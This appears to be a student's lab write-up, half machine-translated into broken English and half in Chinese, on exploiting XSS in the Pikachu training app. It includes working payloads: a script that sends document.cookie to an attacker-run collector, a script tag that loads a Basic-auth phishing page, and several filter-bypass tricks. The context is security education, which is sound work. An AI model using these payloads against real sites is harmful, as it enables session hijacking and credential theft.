pikachu-XSS

 

web security

experimental report

 

The second experiment

XSS

 

 

 

student name	Tu Jun Austria
grade	2017
District Team	Experimental class
mentor	Your opinion

XSS Overview

Brief introduction

Cross-Site Scripting referred to as "CSS", in order to avoid the front folded and abbreviations style sheet "CSS" conflict, it is also known as XSS. XSS generally be divided into the following several common types:
    1. reflective XSS;
    2. storage type XSS;
    3.DOM type XSS;

XSS vulnerabilities have been assessed as harmful web vulnerabilities vulnerabilities in OWASP TOP10 rankings It has been part of three of the established position.
XSS is a place in the front-end browser vulnerabilities, so the object is the harm of front-end user.
The main reason for the formation of XSS vulnerability is a program for input and output do not have appropriate treatment, leading to "carefully constructed" character output when the front end is used as the browser parses the effective implementation of the code in order to cause harm.
Therefore, the prevention of XSS vulnerabilities, usually by way of "filter input" and "output escape" of the following conditions:
  input filter: input filter, do not allow character input could lead to XSS attacks;
  output escaping : properly escaped to the front end of content output according to the position of the output point;

simply say;

    XSS is a place of vulnerability in the Web front-end, so the object of the harm is mainly front-end user

    XSS vulnerabilities can be used for phishing attacks, the front js mining, steal the user cookie, even to the host remote control

XSS vulnerability testing process

    ① find entry point on the target, such as query interface, message boards

    ② enter a "special character (>, ',", etc.) + unique identification character ", after clicking submit, view, return to the source, to see whether there is data returned by the backend process

    ③ by searching to locate the unique characters, unique characters before and after binding may be configured to determine whether the syntax performed js condition (closed configuration)

    ④ submit a structural script code (as well as various bypass posture), see if you can execute successfully, if successfully executed then there is a XSS vulnerability

 

Reflective XSS (get)

We begin to enter any information

 

 

 

 Enter some special characters, to see whether it will be filtered

 

 

 

 

 Here we look at the page source code

Our input is output intact to a p tags

 

 

 

 

 

 

 Here we enter the JS code to test, to see whether the output unchanged, payload follows

<script> alert ( "James" ) </ script> 
Since the front end of the input has limited the length, we need to change in order to enter the full payload

 

 

 

 

After submitting found our payload on the successful implementation of the browser

 

 

 

 

 

 

 

 We view the source code can be found, payload we enter into the p tag embedded inside

 

 

 

 This is a simple reflective XSS, receiving input from the front end from the rear end of the rear output no longer store the contents of the

This is a GET type of XSS vulnerabilities, sent to the target URL with the general will of camouflage XSS

 

 

 

 

    In addition, this is a GET type of XSS vulnerabilities, sent to the target URL with can usually after the camouflage of XSS

    If POST type of XSS, can not directly use the URL of the attack

 II. Reflective XSS (post)

Admin user name and password 123456

 

 

 

 

 

 Enter special characters, background capture

 

 

 

Here is a way to submit POST parameters do not appear in the URL, this time we can not direct our malicious code embedded in the URL

He made himself a malicious site, then put a post form on the site

    POST form will be stored on the link sent to the victim, the victim clicks induction

Modify the IP address /pikachu-master/pkxss/xcookie/post.html

 

 

 

 

 

 

 

The role of post.html page is: When a user accesses the page, it will automatically send a POST request to the server vulnerabilities, and then redirected to the server's vulnerability index page

http://192.168.1.15:10000/pikachu/pkxss/xcookie/post.html

    We only need to click on the link above to induce victims will be able to steal the user's Cookie

Entry

<script>document.location = 'http://192.168.1.15:10000/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

 

 

 

 

 

 

 

 

 

 后台查看，成功获取

 

 

 

 

 

 

三、存储型XSS 

    存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害

先在留言板上输入一些内容，观察转义情况

 

 

 

 

 

 

 

我们输入的东西，也直接输出在 p 标签中，看起来没有经过任何转义和处理

输入下面的Payload进行测试：

<script>alert("xss")</script>

 

 

 

 

 

DOM型XSS

 DOM可以理解为访问HTML的标准接口，DOM里面会把我们的HTML分成一个DOM树

 

 

我们可以以这棵树为入口，通过DOM的某些方法对树进行操作，比如对标签的添加、改变和删除等等

DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

先输入一些特殊字符，看看情况

 

 

 

 

 查看网页源代码

 

 

 

 试一下给的提示

' onclick="alert('xss')">

 

成功弹窗

 

  

原理：

它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

    然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中

    我们通过闭合的方式构造Payload

 

DOM型XSS-X

和刚才一样，先任意输入一些内容

 

 

 

点击后发现多出一行字

查看网页源代码

 

 

 

 和刚刚一样，尝试

' onclick="alert('xss')">

 

 

 

    这里它定义了一个domxss函数

    它利用 window.location.search 获取浏览器中URL的内容，然后赋值给 str

    然后经过URL解码和字符串分隔，取出URL中的参数内容

    再把 “+” 替换为 “ ”（空格），赋值给 xss

    最后把 xss 拼接到 a 标签中，然后写到 Id 为 dom 的 div 标签中

    跟前面的DOM不同的是，它的输入是从浏览器的URL中获取的，很像反射型XSS(get)

 

 

 

XSS之盲打

    XSS盲打不是攻击类型，而是一个攻击场景

 

 

 

    提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看

    如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出

    那后台管理员可能遭受到我们的XSS攻击，

 <script>alert("hello")</script>

 

 

 

 

 点击提示查看

 

 

 

 

 进入管理员 用户名：admin 密码：123456

 

 

 

 

 

登入进来就发现弹框了

 

 

 

 

 

XSS之过滤

    实际中的系统，或多或少都会做一些安全措施，但是这些安全措施也能方法、逻辑不严谨，可以被绕过

 

 

 

 被过滤了

 

 

 其中还是有一些东西没有过滤掉

我们的思路可以有

• 前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
• 大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
• 双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
• 注释干扰，<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

尝试用

<img src=0 onerror="alert(document.cookie)">

 

 

成功绕过

 

 

 

XSS之htmlspecialchars

    关于htmlspecialchars()函数

    htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

    预定义的字符是

• & 成为 &amp
• " 成为 &quot
• ' 成为 &#039
• < 成为 &lt
• > 成为 &gt

    可用引号类型

• ENT_COMPAT：默认，仅编码双引号
• ENT_QUOTES：编码双引号和单引号
• ENT_NOQUOTES：不编码任何引号

先试试最基本的

 

 

 

 

 查看后台

 

 

 

 

 输入其他的试试

 

 

 

 

 

 

 

 这次发现 “ " ”，“ > ”和“ < ”都经过了编码，单引号依然可以使用

    我们可以构造下面的Payload，我们在Payload前后都添加一个单引号用于闭合 href 中的单引号

' onclick=alert(“123”) '

 

 

 

XSS之href输出

随意输入一些内容

 

 

 

 查看源码

 

 

 

 我们看到在 a 标签的href属性中，可以用javascript协议来执行JS

javascript:alert("123")

 

 

 

 

XSS之js输出

尝试一下

<script>alert("James")</script>

去后台找源码

 

 

 

 找到问题所在

我们可以构造一个闭合，先用一个单引号和</script>闭合掉页面中的<script>，然后再插入自己的JS代码

'</script><script>alert('hello')</script>

 

 

 

 XSS-钓鱼结果

这里用一个Basic认证去做这个钓鱼攻击

 

在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时，这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部，这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码

  修改 /pikachu-master/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者（本地）的服务器地址

 

 

 构造的Payload：<script src="http://192.168.141.1:88/pikachu-master/pkxss/xfish/fish.php"></script>  , 重定向到我们攻击网址，这时候如果用户没有足够的安全意识，就会丢失自己的数据

 

 

 

 用户不知情下输入相关信息

 

 

 

 抓到结果